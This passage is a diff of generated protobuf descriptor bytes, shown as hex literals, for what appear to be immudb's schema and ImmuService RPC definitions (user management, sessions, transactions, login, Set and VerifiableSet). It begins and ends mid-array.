0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, + 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, + 0x28, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, + 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, + 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, + 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, + 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, + 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, + 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, + 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, + 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, + 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, + 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, + 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, + 0xb6, 0x34, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, + 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, + 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, + 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, + 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, + 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, + 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, + 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, - 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, 0x05, - 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, - 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, - 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, - 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, - 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, - 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, - 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, 0x01, - 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, - 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, - 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, - 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, - 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, - 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, - 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, + 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, + 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, + 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, - 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, + 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, + 0x01, 0x2a, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, + 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, + 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, + 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, - 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, - 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, - 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, + 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, + 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, + 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, - 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, - 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, - 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, - 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, - 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, 0x6f, - 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, 0x4c, - 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, - 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, - 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, - 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 